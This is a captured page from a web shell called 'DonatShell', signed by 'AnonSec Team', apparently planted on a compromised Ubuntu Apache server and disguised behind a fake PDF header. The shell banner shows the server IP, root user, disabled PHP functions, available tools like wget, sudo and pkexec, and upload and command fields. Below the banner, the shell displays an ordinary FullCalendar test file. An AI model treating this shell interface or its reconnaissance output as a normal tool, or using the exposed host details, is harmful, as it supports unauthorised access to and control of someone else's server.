%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/constructor.js
describe('constructor', function() {

  it('should not modify the options object', function() {
    var options = {
      defaultView: 'timeGridWeek',
      scrollTime: '09:00:00',
      slotDuration: { minutes: 45 }
    }
    var optionsCopy = $.extend({}, options, true)
    initCalendar(options)
    expect(options).toEqual(optionsCopy)
  })

  it('should not modify the events array', function() {
    var options = {
      defaultView: 'dayGridMonth',
      defaultDate: '2014-05-27',
      events: [
        {
          title: 'mytitle',
          start: '2014-05-27'
        }
      ]
    }
    var optionsCopy = $.extend(true, {}, options) // recursive copy
    initCalendar(options)
    expect(options).toEqual(optionsCopy)
  })

  it('should not modify the eventSources array', function() {
    var options = {
      defaultView: 'dayGridMonth',
      defaultDate: '2014-05-27',
      eventSources: [
        { events: [
          {
            title: 'mytitle',
            start: '2014-05-27'
          }
        ] }
      ]
    }
    var optionsCopy = $.extend(true, {}, options) // recursive copy
    initCalendar(options)
    expect(options).toEqual(optionsCopy)
  })

  describe('when called on a div', function() {
    beforeEach(function() {
      initCalendar()
    })

    it('should contain a table fc-toolbar', function() {
      var header = $(currentCalendar.el).find('.fc-toolbar')
      expect(header[0]).not.toBeUndefined()
    })

    it('should contain a div fc-view-container', function() {
      var content = $(currentCalendar.el).find('.fc-view-container')
      expect(content[0]).not.toBeUndefined()
    })

    it('should only contain 2 elements', function() {
      var calenderNodeCount = $(currentCalendar.el).find('>').length
      expect(calenderNodeCount).toEqual(2)
    })

    describe('and then called again', function() {
      it('should still only have a single set of calendar [header,content]', function() {
        initCalendar()
        var count = $(currentCalendar.el).find('>').length
        expect(count).toEqual(2)
      })
    })
  })
})

Anon7 - 2022
AnonSec Team